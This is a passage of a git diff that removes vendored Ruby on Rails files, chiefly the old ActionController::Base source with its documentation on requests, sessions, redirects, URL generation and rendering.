-          assert tag, "expected tag, but no tag found matching #{opts.inspect} in:\n#{@response.body.inspect}"
-        end
-      end
-      
-      # Identical to +assert_tag+, but asserts that a matching tag does _not_
-      # exist. (See +assert_tag+ for a full discussion of the syntax.)
-      #
-      # === Examples
-      #   # Assert that there is not a "div" containing a "p"
-      #   assert_no_tag :tag => "div", :descendant => { :tag => "p" }
-      #
-      #   # Assert that an unordered list is empty
-      #   assert_no_tag :tag => "ul", :descendant => { :tag => "li" }
-      #
-      #   # Assert that there is not a "p" tag with between 1 to 3 "img" tags
-      #   # as immediate children
-      #   assert_no_tag :tag => "p",
-      #              :children => { :count => 1..3, :only => { :tag => "img" } }
-      def assert_no_tag(*opts)
-        clean_backtrace do
-          opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
-          tag = find_tag(opts)
-          assert !tag, "expected no tag, but found tag matching #{opts.inspect} in:\n#{@response.body.inspect}"
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/base.rb b/vendor/rails/actionpack/lib/action_controller/base.rb
deleted file mode 100644
index 41a8a64a..00000000
--- a/vendor/rails/actionpack/lib/action_controller/base.rb
+++ /dev/null
@@ -1,1425 +0,0 @@
-require 'set'
-
-module ActionController #:nodoc:
-  class ActionControllerError < StandardError #:nodoc:
-  end
-
-  class SessionRestoreError < ActionControllerError #:nodoc:
-  end
-
-  class RenderError < ActionControllerError #:nodoc:
-  end
-
-  class RoutingError < ActionControllerError #:nodoc:
-    attr_reader :failures
-    def initialize(message, failures=[])
-      super(message)
-      @failures = failures
-    end
-  end
-
-  class MethodNotAllowed < ActionControllerError #:nodoc:
-    attr_reader :allowed_methods
-
-    def initialize(*allowed_methods)
-      super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
-      @allowed_methods = allowed_methods
-    end
-
-    def allowed_methods_header
-      allowed_methods.map { |method_symbol| method_symbol.to_s.upcase } * ', '
-    end
-
-    def handle_response!(response)
-      response.headers['Allow'] ||= allowed_methods_header
-    end
-  end
-
-  class NotImplemented < MethodNotAllowed #:nodoc:
-  end
-
-  class UnknownController < ActionControllerError #:nodoc:
-  end
-
-  class UnknownAction < ActionControllerError #:nodoc:
-  end
-
-  class MissingFile < ActionControllerError #:nodoc:
-  end
-
-  class RenderError < ActionControllerError #:nodoc:
-  end
-
-  class SessionOverflowError < ActionControllerError #:nodoc:
-    DEFAULT_MESSAGE = 'Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data.'
-
-    def initialize(message = nil)
-      super(message || DEFAULT_MESSAGE)
-    end
-  end
-
-  class DoubleRenderError < ActionControllerError #:nodoc:
-    DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...) and return\"."
-
-    def initialize(message = nil)
-      super(message || DEFAULT_MESSAGE)
-    end
-  end
-
-  class RedirectBackError < ActionControllerError #:nodoc:
-    DEFAULT_MESSAGE = 'No HTTP_REFERER was set in the request to this action, so redirect_to :back could not be called successfully. If this is a test, make sure to specify request.env["HTTP_REFERER"].'
-
-    def initialize(message = nil)
-      super(message || DEFAULT_MESSAGE)
-    end
-  end
-
-  class UnknownHttpMethod < ActionControllerError #:nodoc:
-  end
-
-  # Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed
-  # on request and then either render a template or redirect to another action. An action is defined as a public method
-  # on the controller, which will automatically be made accessible to the web-server through Rails Routes.
-  #
-  # A sample controller could look like this:
-  #
-  #   class GuestBookController < ActionController::Base
-  #     def index
-  #       @entries = Entry.find(:all)
-  #     end
-  #
-  #     def sign
-  #       Entry.create(params[:entry])
-  #       redirect_to :action => "index"
-  #     end
-  #   end
-  #
-  # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
-  # after executing code in the action. For example, the +index+ action of the GuestBookController would render the
-  # template <tt>app/views/guestbook/index.erb</tt> by default after populating the <tt>@entries</tt> instance variable.
-  #
-  # Unlike index, the sign action will not render a template. After performing its main purpose (creating a
-  # new entry in the guest book), it initiates a redirect instead. This redirect works by returning an external
-  # "302 Moved" HTTP response that takes the user to the index action.
-  #
-  # The index and sign represent the two basic action archetypes used in Action Controllers. Get-and-show and do-and-redirect.
-  # Most actions are variations of these themes.
-  #
-  # == Requests
-  #
-  # Requests are processed by the Action Controller framework by extracting the value of the "action" key in the request parameters.
-  # This value should hold the name of the action to be performed. Once the action has been identified, the remaining
-  # request parameters, the session (if one is available), and the full request with all the HTTP headers are made available to
-  # the action through instance variables. Then the action is performed.
-  #
-  # The full request object is available with the request accessor and is primarily used to query for HTTP headers. These queries
-  # are made by accessing the environment hash, like this:
-  #
-  #   def server_ip
-  #     location = request.env["SERVER_ADDR"]
-  #     render :text => "This server hosted at #{location}"
-  #   end
-  #
-  # == Parameters
-  #
-  # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method
-  # which returns a hash. For example, an action that was performed through <tt>/weblog/list?category=All&limit=5</tt> will include
-  # <tt>{ "category" => "All", "limit" => 5 }</tt> in params.
-  #
-  # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
-  #
-  #   <input type="text" name="post[name]" value="david">
-  #   <input type="text" name="post[address]" value="hyacintvej">
-  #
-  # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
-  # If the address input had been named "post[address][street]", the params would have included
-  # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
-  #
-  # == Sessions
-  #
-  # Sessions allows you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
-  # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
-  # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
-  # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
-  #
-  # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
-  #
-  #   session[:person] = Person.authenticate(user_name, password)
-  #
-  # And retrieved again through the same hash:
-  #
-  #   Hello #{session[:person]}
-  #
-  # For removing objects from the session, you can either assign a single key to +nil+:
-  #
-  #   # removes :person from session
-  #   session[:person] = nil
-  #
-  # or you can remove the entire session with +reset_session+.
-  #
-  # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
-  # This prevents the user from tampering with the session but also allows him to see its contents.
-  #
-  # Do not put secret information in cookie-based sessions!
-  #
-  # Other options for session storage are:
-  #
-  # * ActiveRecord::SessionStore - Sessions are stored in your database, which works better than PStore with multiple app servers and,
-  #   unlike CookieStore, hides your session contents from the user. To use ActiveRecord::SessionStore, set
-  #
-  #     config.action_controller.session_store = :active_record_store
-  #
-  #   in your <tt>config/environment.rb</tt> and run <tt>rake db:sessions:create</tt>.
-  #
-  # * MemCacheStore - Sessions are stored as entries in your memcached cache.
-  #   Set the session store type in <tt>config/environment.rb</tt>:
-  #
-  #     config.action_controller.session_store = :mem_cache_store
-  #
-  #   This assumes that memcached has been installed and configured properly.
-  #   See the MemCacheStore docs for more information.
-  #
-  # == Responses
-  #
-  # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
-  # object is generated automatically through the use of renders and redirects and requires no user intervention.
-  #
-  # == Renders
-  #
-  # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
-  # of a template. Included in the Action Pack is the Action View, which enables rendering of ERb templates. It's automatically configured.
-  # The controller passes objects to the view by assigning instance variables:
-  #
-  #   def show
-  #     @post = Post.find(params[:id])
-  #   end
-  #
-  # Which are then automatically available to the view:
-  #
-  #   Title: <%= @post.title %>
-  #
-  # You don't have to rely on the automated rendering. Especially actions that could result in the rendering of different templates will use
-  # the manual rendering methods:
-  #
-  #   def search
-  #     @results = Search.find(params[:query])
-  #     case @results
-  #       when 0 then render :action => "no_results"
-  #       when 1 then render :action => "show"
-  #       when 2..10 then render :action => "show_many"
-  #     end
-  #   end
-  #
-  # Read more about writing ERb and Builder templates in link:classes/ActionView/Base.html.
-  #
-  # == Redirects
-  #
-  # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to a database,
-  # we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're going to reuse (and redirect to)
-  # a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
-  #
-  #   def create
-  #     @entry = Entry.new(params[:entry])
-  #     if @entry.save
-  #       # The entry was saved correctly, redirect to show
-  #       redirect_to :action => 'show', :id => @entry.id
-  #     else
-  #       # things didn't go so well, do something else
-  #     end
-  #   end
-  #
-  # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method which is then executed.
-  #
-  # == Calling multiple redirects or renders
-  #
-  # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
-  #
-  #   def do_something
-  #     redirect_to :action => "elsewhere"
-  #     render :action => "overthere" # raises DoubleRenderError
-  #   end
-  #
-  # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
-  #
-  #   def do_something
-  #     redirect_to(:action => "elsewhere") and return if monkeys.nil?
-  #     render :action => "overthere" # won't be called if monkeys is nil
-  #   end
-  #
-  class Base
-    DEFAULT_RENDER_STATUS_CODE = "200 OK"
-
-    include StatusCodes
-
-    cattr_reader :protected_instance_variables
-    # Controller specific instance variables which will not be accessible inside views.
-    @@protected_instance_variables = %w(@assigns @performed_redirect @performed_render @variables_added @request_origin @url @parent_controller
-                                        @action_name @before_filter_chain_aborted @action_cache_path @_session @_headers @_params
-                                        @_flash @_response)
-
-    # Prepends all the URL-generating helpers from AssetHelper. This makes it possible to easily move javascripts, stylesheets,
-    # and images to a dedicated asset server away from the main web server. Example:
-    #   ActionController::Base.asset_host = "http://assets.example.com"
-    @@asset_host = ""
-    cattr_accessor :asset_host
-
-    # All requests are considered local by default, so everyone will be exposed to detailed debugging screens on errors.
-    # When the application is ready to go public, this should be set to false, and the protected method <tt>local_request?</tt>
-    # should instead be implemented in the controller to determine when debugging screens should be shown.
-    @@consider_all_requests_local = true
-    cattr_accessor :consider_all_requests_local
-
-    # Indicates whether to allow concurrent action processing. Your
-    # controller actions and any other code they call must also behave well
-    # when called from concurrent threads. Turned off by default.
-    @@allow_concurrency = false
-    cattr_accessor :allow_concurrency
-
-    # Modern REST web services often need to submit complex data to the web application.
-    # The <tt>@@param_parsers</tt> hash lets you register handlers which will process the HTTP body and add parameters to the
-    # <tt>params</tt> hash. These handlers are invoked for POST and PUT requests.
-    #
-    # By default <tt>application/xml</tt> is enabled. A XmlSimple class with the same param name as the root will be instantiated
-    # in the <tt>params</tt>. This allows XML requests to mask themselves as regular form submissions, so you can have one
-    # action serve both regular forms and web service requests.
-    #
-    # Example of doing your own parser for a custom content type:
-    #
-    #   ActionController::Base.param_parsers[Mime::Type.lookup('application/atom+xml')] = Proc.new do |data|
-    #      node = REXML::Document.new(post)
-    #     { node.root.name => node.root }
-    #   end
-    #
-    # Note: Up until release 1.1 of Rails, Action Controller would default to using XmlSimple configured to discard the
-    # root node for such requests. The new default is to keep the root, such that "<r><name>David</name></r>" results
-    # in <tt>params[:r][:name]</tt> for "David" instead of <tt>params[:name]</tt>. To get the old behavior, you can
-    # re-register XmlSimple as application/xml handler ike this:
-    #
-    #   ActionController::Base.param_parsers[Mime::XML] =
-    #     Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
-    #
-    # A YAML parser is also available and can be turned on with:
-    #
-    #   ActionController::Base.param_parsers[Mime::YAML] = :yaml
-    @@param_parsers = {}
-    cattr_accessor :param_parsers
-
-    # Controls the default charset for all renders.
-    @@default_charset = "utf-8"
-    cattr_accessor :default_charset
-
-    # The logger is used for generating information on the action run-time (including benchmarking) if available.
-    # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
-    cattr_accessor :logger
-
-    # Controls the resource action separator
-    @@resource_action_separator = "/"
-    cattr_accessor :resource_action_separator
-
-    # Allow to override path names for default resources' actions
-    @@resources_path_names = { :new => 'new', :edit => 'edit' }
-    cattr_accessor :resources_path_names
-
-    # Sets the token parameter name for RequestForgery. Calling +protect_from_forgery+
-    # sets it to <tt>:authenticity_token</tt> by default.
-    cattr_accessor :request_forgery_protection_token
-
-    # Controls the IP Spoofing check when determining the remote IP.
-    @@ip_spoofing_check = true
-    cattr_accessor :ip_spoofing_check
-
-    # Indicates whether or not optimise the generated named
-    # route helper methods
-    cattr_accessor :optimise_named_routes
-    self.optimise_named_routes = true
-
-    # Indicates whether the response format should be determined by examining the Accept HTTP header,
-    # or by using the simpler params + ajax rules.
-    #
-    # If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept
-    # header into account.  If it is set to false then the request format will be determined solely
-    # by examining params[:format].  If params format is missing, the format will be either HTML or
-    # Javascript depending on whether the request is an AJAX request.
-    cattr_accessor :use_accept_header
-    self.use_accept_header = true
-
-    # Controls whether request forgergy protection is turned on or not. Turned off by default only in test mode.
-    class_inheritable_accessor :allow_forgery_protection
-    self.allow_forgery_protection = true
-
-    # If you are deploying to a subdirectory, you will need to set
-    # <tt>config.action_controller.relative_url_root</tt>
-    # This defaults to ENV['RAILS_RELATIVE_URL_ROOT']
-    cattr_accessor :relative_url_root
-    self.relative_url_root = ENV['RAILS_RELATIVE_URL_ROOT']
-
-    # Holds the request object that's primarily used to get environment variables through access like
-    # <tt>request.env["REQUEST_URI"]</tt>.
-    attr_internal :request
-
-    # Holds a hash of all the GET, POST, and Url parameters passed to the action. Accessed like <tt>params["post_id"]</tt>
-    # to get the post_id. No type casts are made, so all values are returned as strings.
-    attr_internal :params
-
-    # Holds the response object that's primarily used to set additional HTTP headers through access like
-    # <tt>response.headers["Cache-Control"] = "no-cache"</tt>. Can also be used to access the final body HTML after a template
-    # has been rendered through response.body -- useful for <tt>after_filter</tt>s that wants to manipulate the output,
-    # such as a OutputCompressionFilter.
-    attr_internal :response
-
-    # Holds a hash of objects in the session. Accessed like <tt>session[:person]</tt> to get the object tied to the "person"
-    # key. The session will hold any type of object as values, but the key should be a string or symbol.
-    attr_internal :session
-
-    # Holds a hash of header names and values. Accessed like <tt>headers["Cache-Control"]</tt> to get the value of the Cache-Control
-    # directive. Values should always be specified as strings.
-    attr_internal :headers
-
-    # Returns the name of the action this controller is processing.
-    attr_accessor :action_name
-
-    class << self
-      def call(env)
-        # HACK: For global rescue to have access to the original request and response
-        request = env["action_controller.rescue.request"] ||= Request.new(env)
-        response = env["action_controller.rescue.response"] ||= Response.new
-        process(request, response)
-      end
-
-      # Factory for the standard create, process loop where the controller is discarded after processing.
-      def process(request, response) #:nodoc:
-        new.process(request, response)
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "NeatController".
-      def controller_class_name
-        @controller_class_name ||= name.demodulize
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "neat".
-      def controller_name
-        @controller_name ||= controller_class_name.sub(/Controller$/, '').underscore
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "one_module/two_module/neat".
-      def controller_path
-        @controller_path ||= name.gsub(/Controller$/, '').underscore
-      end
-
-      # Return an array containing the names of public methods that have been marked hidden from the action processor.
-      # By default, all methods defined in ActionController::Base and included modules are hidden.
-      # More methods can be hidden using <tt>hide_actions</tt>.
-      def hidden_actions
-        read_inheritable_attribute(:hidden_actions) || write_inheritable_attribute(:hidden_actions, [])
-      end
-
-      # Hide each of the given methods from being callable as actions.
-      def hide_action(*names)
-        write_inheritable_attribute(:hidden_actions, hidden_actions | names.map { |name| name.to_s })
-      end
-
-      # View load paths determine the bases from which template references can be made. So a call to
-      # render("test/template") will be looked up in the view load paths array and the closest match will be
-      # returned.
-      def view_paths
-        if defined? @view_paths
-          @view_paths
-        else
-          superclass.view_paths
-        end
-      end
-
-      def view_paths=(value)
-        @view_paths = ActionView::Base.process_view_paths(value) if value
-      end
-
-      # Adds a view_path to the front of the view_paths array.
-      # If the current class has no view paths, copy them from
-      # the superclass.  This change will be visible for all future requests.
-      #
-      #   ArticleController.prepend_view_path("views/default")
-      #   ArticleController.prepend_view_path(["views/default", "views/custom"])
-      #
-      def prepend_view_path(path)
-        @view_paths = superclass.view_paths.dup if !defined?(@view_paths) || @view_paths.nil?
-        @view_paths.unshift(*path)
-      end
-
-      # Adds a view_path to the end of the view_paths array.
-      # If the current class has no view paths, copy them from
-      # the superclass. This change will be visible for all future requests.
-      #
-      #   ArticleController.append_view_path("views/default")
-      #   ArticleController.append_view_path(["views/default", "views/custom"])
-      #
-      def append_view_path(path)
-        @view_paths = superclass.view_paths.dup if @view_paths.nil?
-        @view_paths.push(*path)
-      end
-
-      # Replace sensitive parameter data from the request log.
-      # Filters parameters that have any of the arguments as a substring.
-      # Looks in all subhashes of the param hash for keys to filter.
-      # If a block is given, each key and value of the parameter hash and all
-      # subhashes is passed to it, the value or key
-      # can be replaced using String#replace or similar method.
-      #
-      # Examples:
-      #   filter_parameter_logging
-      #   => Does nothing, just slows the logging process down
-      #
-      #   filter_parameter_logging :password
-      #   => replaces the value to all keys matching /password/i with "[FILTERED]"
-      #
-      #   filter_parameter_logging :foo, "bar"
-      #   => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
-      #
-      #   filter_parameter_logging { |k,v| v.reverse! if k =~ /secret/i }
-      #   => reverses the value to all keys matching /secret/i
-      #
-      #   filter_parameter_logging(:foo, "bar") { |k,v| v.reverse! if k =~ /secret/i }
-      #   => reverses the value to all keys matching /secret/i, and
-      #      replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
-      def filter_parameter_logging(*filter_words, &block)
-        parameter_filter = Regexp.new(filter_words.collect{ |s| s.to_s }.join('|'), true) if filter_words.length > 0
-
-        define_method(:filter_parameters) do |unfiltered_parameters|
-          filtered_parameters = {}
-
-          unfiltered_parameters.each do |key, value|
-            if key =~ parameter_filter
-              filtered_parameters[key] = '[FILTERED]'
-            elsif value.is_a?(Hash)
-              filtered_parameters[key] = filter_parameters(value)
-            elsif value.is_a?(Array)
-              filtered_parameters[key] = value.collect do |item|
-                case item
-                when Hash, Array
-                  filter_parameters(item)
-                else
-                  item
-                end
-              end
-            elsif block_given?
-              key = key.dup
-              value = value.dup if value.duplicable?
-              yield key, value
-              filtered_parameters[key] = value
-            else
-              filtered_parameters[key] = value
-            end
-          end
-
-          filtered_parameters
-        end
-        protected :filter_parameters
-      end
-
-      delegate :exempt_from_layout, :to => 'ActionView::Template'
-    end
-
-    public
-      # Extracts the action_name from the request parameters and performs that action.
-      def process(request, response, method = :perform_action, *arguments) #:nodoc:
-        response.request = request
-
-        initialize_template_class(response)
-        assign_shortcuts(request, response)
-        initialize_current_url
-        assign_names
-
-        log_processing
-        send(method, *arguments)
-
-        send_response
-      ensure
-        process_cleanup
-      end
-
-      def send_response
-        response.prepare!
-        response
-      end
-
-      # Returns a URL that has been rewritten according to the options hash and the defined routes.
-      # (For doing a complete redirect, use +redirect_to+).
-      #
-      # <tt>url_for</tt> is used to:
-      #
-      # All keys given to +url_for+ are forwarded to the Route module, save for the following:
-      # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path. For example,
-      #   <tt>url_for :controller => 'posts', :action => 'show', :id => 10, :anchor => 'comments'</tt>
-      #   will produce "/posts/show/10#comments".
-      # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>false</tt> by default).
-      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
-      #   is currently not recommended since it breaks caching.
-      # * <tt>:host</tt> - Overrides the default (current) host if provided.
-      # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
-      # * <tt>:port</tt> - Optionally specify the port to connect to.
-      # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
-      # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
-      # * <tt>:skip_relative_url_root</tt> - If true, the url is not constructed using the +relative_url_root+
-      #   of the request so the path will include the web server relative installation directory.
-      #
-      # The URL is generated from the remaining keys in the hash. A URL contains two key parts: the <base> and a query string.
-      # Routes composes a query string as the key/value pairs not included in the <base>.
-      #
-      # The default Routes setup supports a typical Rails path of "controller/action/id" where action and id are optional, with
-      # action defaulting to 'index' when not given. Here are some typical url_for statements and their corresponding URLs:
-      #
-      #   url_for :controller => 'posts', :action => 'recent'                # => 'proto://host.com/posts/recent'
-      #   url_for :controller => 'posts', :action => 'index'                 # => 'proto://host.com/posts'
-      #   url_for :controller => 'posts', :action => 'index', :port=>'8033'  # => 'proto://host.com:8033/posts'
-      #   url_for :controller => 'posts', :action => 'show', :id => 10       # => 'proto://host.com/posts/show/10'
-      #   url_for :controller => 'posts', :user => 'd', :password => '123'   # => 'proto://d:123@host.com/posts'
-      #
-      # When generating a new URL, missing values may be filled in from the current request's parameters. For example,
-      # <tt>url_for :action => 'some_action'</tt> will retain the current controller, as expected. This behavior extends to
-      # other parameters, including <tt>:controller</tt>, <tt>:id</tt>, and any other parameters that are placed into a Route's
-      # path.
-      #  
-      # The URL helpers such as <tt>url_for</tt> have a limited form of memory: when generating a new URL, they can look for
-      # missing values in the current request's parameters. Routes attempts to guess when a value should and should not be
-      # taken from the defaults. There are a few simple rules on how this is performed:
-      #
-      # * If the controller name begins with a slash no defaults are used:
-      #
-      #     url_for :controller => '/home'
-      #
-      #   In particular, a leading slash ensures no namespace is assumed. Thus,
-      #   while <tt>url_for :controller => 'users'</tt> may resolve to
-      #   <tt>Admin::UsersController</tt> if the current controller lives under
-      #   that module, <tt>url_for :controller => '/users'</tt> ensures you link
-      #   to <tt>::UsersController</tt> no matter what.
-      # * If the controller changes, the action will default to index unless provided
-      #
-      # The final rule is applied while the URL is being generated and is best illustrated by an example. Let us consider the
-      # route given by <tt>map.connect 'people/:last/:first/:action', :action => 'bio', :controller => 'people'</tt>.
-      #
-      # Suppose that the current URL is "people/hh/david/contacts". Let's consider a few different cases of URLs which are generated
-      # from this page.
-      #
-      # * <tt>url_for :action => 'bio'</tt> -- During the generation of this URL, default values will be used for the first and
-      # last components, and the action shall change. The generated URL will be, "people/hh/david/bio".
-      # * <tt>url_for :first => 'davids-little-brother'</tt> This generates the URL 'people/hh/davids-little-brother' -- note
-      #   that this URL leaves out the assumed action of 'bio'.
-      #
-      # However, you might ask why the action from the current request, 'contacts', isn't carried over into the new URL. The
-      # answer has to do with the order in which the parameters appear in the generated path. In a nutshell, since the
-      # value that appears in the slot for <tt>:first</tt> is not equal to default value for <tt>:first</tt> we stop using
-      # defaults. On its own, this rule can account for much of the typical Rails URL behavior.
-      #  
-      # Although a convenience, defaults can occasionally get in your way. In some cases a default persists longer than desired.
-      # The default may be cleared by adding <tt>:name => nil</tt> to <tt>url_for</tt>'s options.
-      # This is often required when writing form helpers, since the defaults in play may vary greatly depending upon where the
-      # helper is used from. The following line will redirect to PostController's default action, regardless of the page it is
-      # displayed on:
-      #
-      #   url_for :controller => 'posts', :action => nil
-      def url_for(options = {})
-        options ||= {}
-        case options
-          when String
-            options
-          when Hash
-            @url.rewrite(rewrite_options(options))
-          else
-            polymorphic_url(options)
-        end
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "NeatController".
-      def controller_class_name
-        self.class.controller_class_name
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "neat".
-      def controller_name
-        self.class.controller_name
-      end
-
-      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "one_module/two_module/neat".
-      def controller_path
-        self.class.controller_path
-      end
-
-      def session_enabled?
-        ActiveSupport::Deprecation.warn("Sessions are now lazy loaded. So if you don't access them, consider them disabled.", caller)
-      end
-
-      self.view_paths = []
-
-      # View load paths for controller.
-      def view_paths
-        @template.view_paths
-      end
-
-      def view_paths=(value)
-        @template.view_paths = ActionView::Base.process_view_paths(value)
-      end
-
-      # Adds a view_path to the front of the view_paths array.
-      # This change affects the current request only.
-      #
-      #   self.prepend_view_path("views/default")
-      #   self.prepend_view_path(["views/default", "views/custom"])
-      #
-      def prepend_view_path(path)
-        @template.view_paths.unshift(*path)
-      end
-
-      # Adds a view_path to the end of the view_paths array.
-      # This change affects the current request only.
-      #
-      #   self.append_view_path("views/default")
-      #   self.append_view_path(["views/default", "views/custom"])
-      #
-      def append_view_path(path)
-        @template.view_paths.push(*path)
-      end
-
-    protected
-      # Renders the content that will be returned to the browser as the response body.
-      #
-      # === Rendering an action
-      #
-      # Action rendering is the most common form and the type used automatically by Action Controller when nothing else is
-      # specified. By default, actions are rendered within the current layout (if one exists).
-      #
-      #   # Renders the template for the action "goal" within the current controller
-      #   render :action => "goal"
-      #
-      #   # Renders the template for the action "short_goal" within the current controller,
-      #   # but without the current active layout
-      #   render :action => "short_goal", :layout => false
-      #
-      #   # Renders the template for the action "long_goal" within the current controller,
-      #   # but with a custom layout
-      #   render :action => "long_goal", :layout => "spectacular"
-      #
-      # === Rendering partials
-      #
-      # Partial rendering in a controller is most commonly used together with Ajax calls that only update one or a few elements on a page
-      # without reloading. Rendering of partials from the controller makes it possible to use the same partial template in
-      # both the full-page rendering (by calling it from within the template) and when sub-page updates happen (from the
-      # controller action responding to Ajax calls). By default, the current layout is not used.
-      #
-      #   # Renders the same partial with a local variable.
-      #   render :partial => "person", :locals => { :name => "david" }
-      #
-      #   # Renders the partial, making @new_person available through
-      #   # the local variable 'person'
-      #   render :partial => "person", :object => @new_person
-      #
-      #   # Renders a collection of the same partial by making each element
-      #   # of @winners available through the local variable "person" as it
-      #   # builds the complete response.
-      #   render :partial => "person", :collection => @winners
-      #
-      #   # Renders a collection of partials but with a custom local variable name
-      #   render :partial => "admin_person", :collection => @winners, :as => :person
-      #
-      #   # Renders the same collection of partials, but also renders the
-      #   # person_divider partial between each person partial.
-      #   render :partial => "person", :collection => @winners, :spacer_template => "person_divider"
-      #
-      #   # Renders a collection of partials located in a view subfolder
-      #   # outside of our current controller.  In this example we will be
-      #   # rendering app/views/shared/_note.r(html|xml)  Inside the partial
-      #   # each element of @new_notes is available as the local var "note".
-      #   render :partial => "shared/note", :collection => @new_notes
-      #
-      #   # Renders the partial with a status code of 500 (internal error).
-      #   render :partial => "broken", :status => 500
-      #
-      # Note that the partial filename must also be a valid Ruby variable name,
-      # so e.g. 2005 and register-user are invalid.
-      #
-      #
-      # == Automatic etagging
-      #
-      # Rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the
-      # response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified
-      # and the response body will be set to an empty string. No etag header will be inserted if it's already set.
-      #
-      # === Rendering a template
-      #
-      # Template rendering works just like action rendering except that it takes a path relative to the template root.
-      # The current layout is automatically applied.
-      #
-      #   # Renders the template located in [TEMPLATE_ROOT]/weblog/show.r(html|xml) (in Rails, app/views/weblog/show.erb)
-      #   render :template => "weblog/show"
-      #
-      #   # Renders the template with a local variable
-      #   render :template => "weblog/show", :locals => {:customer => Customer.new}
-      #
-      # === Rendering a file
-      #
-      # File rendering works just like action rendering except that it takes a filesystem path. By default, the path
-      # is assumed to be absolute, and the current layout is not applied.
-      #
-      #   # Renders the template located at the absolute filesystem path
-      #   render :file => "/path/to/some/template.erb"
-      #   render :file => "c:/path/to/some/template.erb"
-      #
-      #   # Renders a template within the current layout, and with a 404 status code
-      #   render :file => "/path/to/some/template.erb", :layout => true, :status => 404
-      #   render :file => "c:/path/to/some/template.erb", :layout => true, :status => 404
-      #
-      # === Rendering text
-      #
-      # Rendering of text is usually used for tests or for rendering prepared content, such as a cache. By default, text
-      # rendering is not done within the active layout.
-      #
-      #   # Renders the clear text "hello world" with status code 200
-      #   render :text => "hello world!"
-      #
-      #   # Renders the clear text "Explosion!"  with status code 500
-      #   render :text => "Explosion!", :status => 500
-      #
-      #   # Renders the clear text "Hi there!" within the current active layout (if one exists)
-      #   render :text => "Hi there!", :layout => true
-      #
-      #   # Renders the clear text "Hi there!" within the layout
-      #   # placed in "app/views/layouts/special.r(html|xml)"
-      #   render :text => "Hi there!", :layout => "special"
-      #
-      # === Streaming data and/or controlling the page generation
-      #
-      # The <tt>:text</tt> option can also accept a Proc object, which can be used to:
-      #
-      # 1. stream on-the-fly generated data to the browser. Note that you should
-      #    use the methods provided by ActionController::Steaming instead if you
-      #    want to stream a buffer or a file.
-      # 2. manually control the page generation. This should generally be avoided,
-      #    as it violates the separation between code and content, and because almost
-      #    everything that can be done with this method can also be done more cleanly
-      #    using one of the other rendering methods, most notably templates.
-      #
-      # Two arguments are passed to the proc, a <tt>response</tt> object and an
-      # <tt>output</tt> object. The response object is equivalent to the return
-      # value of the ActionController::Base#response method, and can be used to
-      # control various things in the HTTP response, such as setting the
-      # Content-Type header. The output object is an writable <tt>IO</tt>-like
-      # object, so one can call <tt>write</tt> and <tt>flush</tt> on it.
-      #
-      # The following example demonstrates how one can stream a large amount of
-      # on-the-fly generated data to the browser:
-      #
-      #   # Streams about 180 MB of generated data to the browser.
-      #   render :text => proc { |response, output|
-      #     10_000_000.times do |i|
-      #       output.write("This is line #{i}\n")
-      #     end
-      #   }
-      #
-      # Another example:
-      #
-      #   # Renders "Hello from code!"
-      #   render :text => proc { |response, output| output.write("Hello from code!") }
-      #
-      # === Rendering XML
-      #
-      # Rendering XML sets the content type to application/xml.
-      #
-      #   # Renders '<name>David</name>'
-      #   render :xml => {:name => "David"}.to_xml
-      #
-      # It's not necessary to call <tt>to_xml</tt> on the object you want to render, since <tt>render</tt> will
-      # automatically do that for you:
-      #
-      #   # Also renders '<name>David</name>'
-      #   render :xml => {:name => "David"}
-      #
-      # === Rendering JSON
-      #
